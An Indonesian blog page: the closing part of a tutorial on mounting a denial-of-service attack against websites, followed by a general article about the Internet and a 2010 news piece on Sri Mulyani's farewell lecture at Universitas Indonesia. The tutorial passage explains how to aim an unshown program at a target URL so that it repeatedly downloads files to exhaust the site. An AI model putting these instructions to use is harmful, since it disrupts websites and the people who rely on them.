Setelah semua komponen2 dan kode sudah ada maka jalankan / F5, kemudian isi textbox dengan website yang akan diDDOS, misalnya "http://target.com/download/setup.exe" atau "http://target.com/index.php" , ingat tanpa tanda kutip dan TIDAK pake "www". Jadi klo kita isi "www.target.com/index.php" <== SALAH!. Setelah itu pencet command1 untuk memulai serangan.

Saat command1 dipencet, maka program otomatis mendownload file di website sesuai yang kita isi di textbox dan mengsavenya di folder temporay dengan nama acak. Kenapa pake nama acak? karena untuk mengantisipasi jika suatu file blum beres didownload maka ga akan ngeganggu proses lain yang sedang berlangsung.

Ok kayaknya udah pada paham tentang source code di atas. Ya tentunya bisa nambahin sendiri seperti pengecekan ada tidaknya koneksi internet, size yang udah didonlot atau animasi loading pada program biar lebih ok lagi programnya.

Right, jangan digunaiin sembarangan.. Setiap perbuatan ada balasannya dan ingat gunakan di komputer yang bandwidthnya unlimited.

Trims.

kutip dari :Fajar Anggiawan
READ MORE - Teknik Mudah DOS Pada Website

Internet

Internet adalah sebuah teknologi yang penting dan dibutuhkan untuk mengakses segala informasi berharga dari berbagai belahan dunia. Saat ini, internet dipandang sebagai jaringan komputer terbesar di dunia. Internet dapat diartikan sebagai kumpulan dari jaringan-jaringan komputer, baik skala besar maupun kecil, yang dihubungkan oleh jaringan komunikasi dan meliputi seluruh dunia. Jadi secara singkat, internet adalah hubungan antar komputer dan jaringan komputer yang saling berjauhan untuk berbagi data dan informasi satu sama lainnya.
Internet juga merupakan sistem global jaringan komputer yang saling berhubungan yang menggunakan standar Internet Protocol Suite (TCP / IP) untuk melayani milyaran pengguna di seluruh dunia. Internet adalah suatu jaringan dari jaringan yang terdiri dari jutaan swasta, publik, bisnis akademik, jaringan pemerintah, dari lokal untuk lingkup global, yang dihubungkan oleh sebuah array yang luas dari teknologi jaringan elektronik dan optik. Internet memberikan berbagai macam sumber informasi dan jasa, seperti dokumen hypertext antar-link dari World Wide Web (WWW) dan infrastruktur untuk mendukung surat elektronik.


Internet mampu membentuk kembali / mendefinisikan ulang media komunikasi tradisional seperti film, telepon dan televisi. Internet mampu mempercepat bentuk baru interaksi manusia melalui pesan instan, forum, dan jaringan sosial.

Internet Pada Masa Kini
 
Representasi grafis dari jaringan WWW (hanya 0.0001% saja).
Internet dijaga oleh perjanjian bi- atau multilateral dan spesifikasi teknikal (protokol yang menerangkan tentang perpindahan data antara rangkaian). Protokol-protokol ini dibentuk berdasarkan perbincangan Internet Engineering Task Force (IETF), yang terbuka kepada umum. Badan ini mengeluarkan dokumen yang dikenali sebagai RFC (Request for Comments). Sebagian dari RFC dijadikan Standar Internet (Internet Standard), oleh Badan Arsitektur Internet (Internet Architecture Board - IAB). Protokol-protokol Internet yang sering digunakan adalah seperti, IP, TCP, UDP, DNS, PPP, SLIP, ICMP, POP3, IMAP, SMTP, HTTP, HTTPS, SSH, Telnet, FTP, LDAP, dan SSL.
Beberapa layanan populer di Internet yang menggunakan protokol di atas, ialah email/surat elektronik, Usenet, Newsgroup, berbagi berkas (File Sharing), WWW (World Wide Web), Gopher, akses sesi (Session Access), WAIS, finger, IRC, MUD, dan MUSH. Di antara semua ini, email/surat elektronik dan World Wide Web lebih kerap digunakan, dan lebih banyak servis yang dibangun berdasarkannya, seperti milis (Mailing List) dan Weblog. Internet memungkinkan adanya servis terkini (Real-time service), seperti web radio, dan webcast, yang dapat diakses di seluruh dunia. Selain itu melalui Internet dimungkinkan untuk berkomunikasi secara langsung antara dua pengguna atau lebih melalui program pengirim pesan instan seperti Camfrog, Pidgin (Gaim), Trilian, Kopete, Yahoo! Messenger, MSN Messenger dan Windows Live Messenger.
Beberapa servis Internet populer yang berdasarkan sistem tertutup (Proprietary System), adalah seperti IRC, ICQ, AIM, CDDB, dan Gnutella.
Asal-usul Internet dimulai tahun 1960-an dengan penelitian swasta dan Amerika Serikat ke jaringan komputerkuat, fault-tolerant kemudian didistribusikan. Penelitian AS di danai oleh National Science Foundation, serta pendanaan swasta merupakan hasil partisipasi seluruh dunia dalam pengembangan teknologi jaringan baru, dan penggabungan banyak jaringan lalu di komersilkan sehingga pada pertengahan tahun 1990 diperkirakan seperempat dari penduduk bumi menggunakan layanan internet.

Internet tidak memiliki kebijakan untuk akses dan penggunaan, setiap jaringan konstituen menetapkan standar sendiri. Hanya melampaui batas definisi dari dua ruang nama utama di Internet, Internet Protocol ruang alamat dan Domain Name System, yang diarahkan oleh organisasi pengelola, Internet untuk Corporation Ditugaskan Nama dan Nomor (ICANN). Fondasi teknis dan standarisasi protokol inti (IPv4 dan IPv6) adalah kegiatan Internet Engineering Task Force (IETF), sebuah organisasi non-profit dari peserta internasional longgar yang beralifasi bahwa siapapun dapat menyumbangkan keahlian teknisnya.

Akses Internet

Negara dengan akses Internet yang terbaik termasuk Korea Selatan (50% daripada penduduknya mempunyai akses jalurlebar - Broadband), dan Swedia. Terdapat dua bentuk akses Internet yang umum, yaitu dial-up, dan jalurlebar. Di Indonesia, seperti negara berkembang dimana akses Internet dan penetrasi PC sudah cukup tinggi dengan di dukungnya Internet murah dan netbook murah, hanya saja di Indonesia operator kurang fair dalam menentukan harga dan bahkan ada salah satu operator yang sengaja membuat "perangkap jebakan" agar supaya si pengguna Internet bayar lebih mahal sampai ber juta-juta rupiah!!, lainnya sekitar 42% dari akses Internet melalui fasilitas Public Internet akses seperti warnet , cybercafe, hotspot dll. Tempat umum lainnya yang sering dipakai untuk akses Internet adalah di kampus dan di kantor.

Disamping menggunakan PC (Personal Computer), kita juga dapat mengakses Internet melalui Handphone (HP) menggunakan Fasilitas yang disebut GPRS (General Packet Radio Service). GPRS merupakan salah satu standar komunikasi wireless (nirkabel) yang memiliki kecepatan koneksi 115 kbps dan mendukung aplikasi yang lebih luas (grafis dan multimedia). Teknologi GPRS dapat diakses yang mendukung fasilitas tersebut. Pen-setting-an GPRS pada ponsel Tergantung dari operator (Telkomsel, Indosat, XL, 3) yang digunakan. Biaya akses Internet dihitung melalui besarnya kapasitas (per-kilobite) yang didownload.
READ MORE - Internet

Jumat, 04 Juni 2010

Kuliah Umum Terakhir Sri Mulyani di UI

GELAK tawa mewarnai acara farewell lecture atau kuliah umum terakhir Sri Mulyani di Universitas Indonesia (UI). Kuliah ini berubah menjadi ajang reuni, penuh dengan nostalgia.
Acara yang direncanakan untuk mahasiswa Magister Manajemen FEUI, rupanya dipenuhi oleh para ILUNI FEUI dari angkatan jadul (jaman dulu) hingga angkatan baru.
Ruang berkapasitas 300 orang mendadak penuh oleh para alumni. Bahkan para mahasiswa, terpaksa harus menyaksikan acara ini melalui layar televisi di lantai dasar.
Tadi ada 2.500 yang daftar, tapi karena merasa ada ikatan batin, dan sulit mendapatkan tempat jadi dibatasi. Banyak yang pengen lihat tapi liat layar di bawah, ujar Dekan FEUI Firmanzah di Gedung BRI, Kampus Magister Management UI di Salemba, Jakarta, Rabu (19/5).
Tidak tanggung-tanggung, Ketua Program MM-UI Rhenald Kasali sekaligus host dalam acara tersebut membawa Sri Mulyani dan teman-temannya di ILUNI FEUI bernostalgia, mengingat masa-masa kuliah dulu.
Mba Ani pernah ngajar di MM UI. Di sini susah cari parkiran, tapi yang gampang cari kamar jenazah. Ini yang membentuk watak Mba Ani karena kita diplonco lewat kamar jenazah. Jadi kita harus ingat hari esok, mungkin itu yang melatarbelakangi pengunduran dirinya, tutur Rhenald disusul tepuk tangan para hadirin.
Beberapa cerita nostalgia yang muncul menghadirkan gelak tawa para hadirin, termasuk Sri Mulyani yang didampingi suami. Namun, semua para wakil ILUNI yang memberikan sambutan dalam acara ini juga mengusung ucapan selamat dan doa kepada Sri Mulyani.
Jangan terlalu banyak bertanya dalam hidup itu. Kebenaran yang kamu anggap kebenaran adalah sebersit yang aku ciptakan, ujar mantan Menko Perekonomian Dorojatun Kuntjoro-jakti dalam akhir testimoninya untuk Sri Mulyani.
Dalam acara itu, Sri Mulyani Indrawati memaparkan alasan dirinya mundur sebagai pejabat publik. Ia merasa dipojokkan dalam panggung politik, dimana saat ini sebagai pembantu pemerintah dirinya tidak lagi dikehendaki dalam sebuah sistem politik.
Mengapa Sri Mulyani mundur dari Menteri Keuangan? Tentu ini sudah ada dalam kalkulasi, dimana saya anggap sumbangan dan kepentingan saya sebagai pejabat publik tidak lagi dikehendaki di dalam suatu sistem politik, ungkapnya.
Ia menyampaikan, hal tersebut dalam kuliah umum yang bertemakan Kebijakan Publik dan Etika Publik di Ballroom Ritz Carlton, Jakarta.
Sri Mulyani menganggap saat ini dirinya hanya seorang pembantu di pemerintahan.
Maka ketika diminta menjadi pembantu pemerintah, kita tidak bisa mengabaikan bahwa politik itu hampa atau vakum dan itu juga merupakan perkawinan antar kelompok untuk memperoleh kekuasaan, jelasnya.
Sri Mulyani merasa ketika sudah menjadi bagian dimana tidak dikehendaki dalam sistem politik, maka perkawinan kepentingan antar kelompok tadi sudah sangat dominan dan kental.
Banyak yang bilang itu kartel, tetapi saya lebih suka bilang itu kawin meskipun jenis kelaminnya sama. Hampir semua parpol pemimpinnya laki-laki, kecuali satu, canda Sri Mulyani.
Sri Mulyani menegaskan bahwa dirinya bukan dari sebuah partai politik, namun bukan berarti dia tidak mengerti politik. Saya bukan dari partai politik, bukan politisi namun bukan berarti saya tidak tahu politik. Selama lima tahun saya tahu partai politik hingga mengerti keadaan, dimana ketika menghadapi sebuah realita banyak orang yang ingin berbuat baik tetapi frustasi, paparnya.
Jika lingkungan politik, lanjut Sri Mulyani, sudah lagi tidak memungkinkan adanya etika berpolitik, maka sudah lagi tidak memungkinkan bagi orang seperti Sri Mulyani untuk eksis.
Sebab ketika saya dikehendaki untuk menjadi pejabat publik, saya berjanji tidak akan mengkhianati dengan berbuat korup. Saya bilang itu tidak mudah, sangat painfull, dimana mempunyai kekuatan yang besar, ungkapnya. (oto)
READ MORE - Kuliah Umum Terakhir Sri Mulyani di UI
Powered By Blogger

OKe

no hal

Search